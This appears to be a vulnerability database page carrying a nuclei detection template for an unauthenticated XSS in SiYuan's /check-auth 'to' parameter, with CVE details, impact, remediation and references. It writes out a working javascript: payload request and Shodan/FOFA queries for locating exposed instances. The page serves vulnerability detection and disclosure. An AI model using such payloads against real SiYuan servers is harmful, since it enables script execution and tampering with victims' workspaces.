Lucene search
+L

SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter

🗓️ 29 Oct 2026 02:04:35Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated XSS in SiYuan via /check-auth "to" parameter allows script execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-116167
25 Oct 202613:46
–circl
cnnvd
CNNVD
SiYuan cross-site scripting vulnerability
25 Oct 202600:00
–cnnvd
cve
CVE
CVE-2026-116167
25 Oct 202613:20
–cve
cvelist
Cvelist
CVE-2026-116167 SiYuan 2.9.0 before 3.8.7 XSS via check-auth to Parameter
25 Oct 202613:20
–cvelist
euvd
EUVD
EUVD-2026-109428
25 Oct 202613:20
–euvd
nvd
NVD
CVE-2026-116167
25 Oct 202614:16
–nvd
ptsecurity
Positive Technologies
PT-2026-123008
25 Oct 202600:00
–ptsecurity
vulnrichment
Vulnrichment
CVE-2026-116167 SiYuan 2.9.0 before 3.8.7 XSS via check-auth to Parameter
25 Oct 202613:20
–vulnrichment
id: CVE-2026-116167

info:
  name: SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter
  author: kosoyyagent
  severity: high
  description: |
    SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.
  impact: |
    Script executes in the authenticated kernel origin and can invoke same-origin kernel APIs to read or modify workspace content and settings with the victim's session.
  remediation: |
    Update to SiYuan 3.8.7 or later, which routes the `to` value through safeRedirectTarget and only allows same-origin destinations.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmj3-xc2f-6w4w
    - https://www.vulncheck.com/advisories/siyuan-2.9.0-before-3.8.7-xss-via-check-auth-to-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116167
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 7.6
    cve-id: CVE-2026-116167
    epss-score: 0.0025
    epss-percentile: 0.16371
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: 'http.html:"siyuan"'
    fofa-query: 'body="siyuan"'
  tags: cve,cve2026,siyuan,xss,unauth

http:
  - raw:
      - |
        GET /check-auth?to=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(body), "siyuan")'
          - 'contains(body, "searchParams.get(\"to\")")'
          - 'contains(body, "location.href = url.searchParams.get") || contains(body, "location.href = toPath")'
          - '!contains(body, "safeRedirectTarget")'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008d0759a12810594fc93c8b99d4903170532c53a0b835ee25f2266ff89215ad25022100c63e957c5b3c97f89577723f72bd7b583283b92fcdcd8e7ba9ee5573246460f2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 12:29Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.8
CVSS 47.6
EPSS0.00656
SSVC
3